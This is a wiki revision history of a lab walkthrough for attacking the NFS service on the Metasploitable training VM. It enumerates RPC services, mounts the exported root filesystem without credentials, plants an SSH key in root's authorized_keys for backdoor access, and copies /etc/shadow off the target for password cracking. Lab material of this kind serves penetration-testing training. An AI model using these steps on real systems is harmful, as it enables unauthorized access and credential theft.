Metasploitable/NFS - Revision history

Admin: /* Abusing */

2016-03-29T03:57:07Z

Abusing

← Older revision		Revision as of 03:57, 29 March 2016
Line 77:		Line 77:
	</pre>		</pre>

	We could also use the [[Metasploit]] post modules, for information-gathering on Linux machines.		We could also use the [[MSF\|Metasploit]] post modules, for information-gathering on Linux machines.

	===Dismount When Finished===		===Dismount When Finished===

Admin: /* Abusing */

2016-03-29T03:56:51Z

Abusing

← Older revision		Revision as of 03:56, 29 March 2016
Line 71:		Line 71:
	</pre>		</pre>

	We can copy the shadow file to the local disk to crack with [[John]]:		We can copy the shadow file to the local disk to crack with [[John the Ripper]]:

	<pre>		<pre>
	# cp /tmp/r00t/etc/shadow ~/victim_shadow_file		# cp /tmp/r00t/etc/shadow ~/victim_shadow_file
	</pre>		</pre>

			We could also use the [[Metasploit]] post modules, for information-gathering on Linux machines.

	===Dismount When Finished===		===Dismount When Finished===

Admin: /* Flags */

2016-03-25T21:25:34Z

Flags

← Older revision		Revision as of 21:25, 25 March 2016
Line 88:		Line 88:

	{{MSFlag}}		{{MSFlag}}

			{{LinuxNetworkingFlag}}

Admin: /* Related */

2016-03-25T21:25:24Z

← Older revision		Revision as of 21:25, 25 March 2016
Line 85:		Line 85:
	</pre>		</pre>

	=~~Related~~=		=Flags=

	{{MSFlag}}		{{MSFlag}}

Admin: /* Dismount When Finished */

2016-03-25T15:53:19Z

Dismount When Finished

← Older revision		Revision as of 15:53, 25 March 2016
Line 79:		Line 79:
	===Dismount When Finished===		===Dismount When Finished===

	~~When~~ finished:		Dismount when finished to make sure all those goodies you left behind actually end up being written to the disk:

	<pre>		<pre>

Admin: /* Abusing */

2016-03-25T15:52:53Z

Abusing

← Older revision		Revision as of 15:52, 25 March 2016
Line 71:		Line 71:
	</pre>		</pre>

			We can copy the shadow file to the local disk to crack with [[John]]:

			<pre>
			# cp /tmp/r00t/etc/shadow ~/victim_shadow_file
			</pre>

			===Dismount When Finished===

			When finished:

			<pre>
			# umount /tmp/r00t
			</pre>

	=Related=		=Related=

	{{MSFlag}}		{{MSFlag}}

Admin at 15:47, 25 March 2016

2016-03-25T15:47:47Z

← Older revision		Revision as of 15:47, 25 March 2016
Line 1:		Line 1:
	Start by checking out what network services are running~~. Use~~ the rpcinfo command to do that:		=Network File System=

			The [[Metasploitable]] virtual machine has some network file system ports open, making it wide-open to attacks. (More info on network file systems generally at [[Linux/NFS]])

			The Metasploitable machine is at 10.0.0.27.

			Start by checking out what network services are running - use the rpcinfo command to do that:

	<pre>		<pre>

Admin: Created page with "Start by checking out what network services are running. Use the rpcinfo command to do that:

 # rpcinfo -p 10.0.0.27

This will return information about open port..."

2016-03-25T15:45:55Z

Created page with "Start by checking out what network services are running. Use the rpcinfo command to do that: <pre> # rpcinfo -p 10.0.0.27 </pre> This will return information about open port..."

New page

Start by checking out what network services are running. Use the rpcinfo command to do that:

<pre>
# rpcinfo -p 10.0.0.27
</pre>

This will return information about open ports and RPC services. We can see that there is an NFS service listening on port 2049:

<pre>
root@morpheus:~# rpcinfo -p 10.0.0.27
program vers proto port service
100000 2 tcp 111 portmapper
100000 2 udp 111 portmapper
100024 1 udp 38085 status
100024 1 tcp 52004 status
100003 2 udp 2049 nfs
100003 3 udp 2049 nfs
100003 4 udp 2049 nfs
100021 1 udp 60702 nlockmgr
100021 3 udp 60702 nlockmgr
100021 4 udp 60702 nlockmgr
100003 2 tcp 2049 nfs
100003 3 tcp 2049 nfs
100003 4 tcp 2049 nfs
100021 1 tcp 34385 nlockmgr
100021 3 tcp 34385 nlockmgr
100021 4 tcp 34385 nlockmgr
100005 1 udp 45599 mountd
100005 1 tcp 42810 mountd
100005 2 udp 45599 mountd
100005 2 tcp 42810 mountd
100005 3 udp 45599 mountd
100005 3 tcp 42810 mountd
</pre>

Now use the showmount command to show what file systems are mountable on this NFS:

<pre>
root@morpheus:~# showmount -e 10.0.0.27
Export list for 10.0.0.27:
/ *
</pre>

Woot - the entire filesystem is mountable/writable!

To mount the network filesystem, we need to run the RPC service rpcbind.

<pre>
# service rpcbind start
</pre>

Now we can mount the filesystem at the IP address, with no credentials:

<pre>
# mkdir /tmp/r00t
# mount -t nfs 10.0.0.27:/ /tmp/r00t
</pre>

===Abusing===

Now we can abuse our write access to the filesystem by copying an SSH key into the remote machine's trusted SSH keys, and obtain passwordless remote access:

<pre>
# cat ~/.ssh/id_rsa.pub >> /tmp/r00t/root/.ssh/authorized_keys
</pre>

=Related=

{{MSFlag}}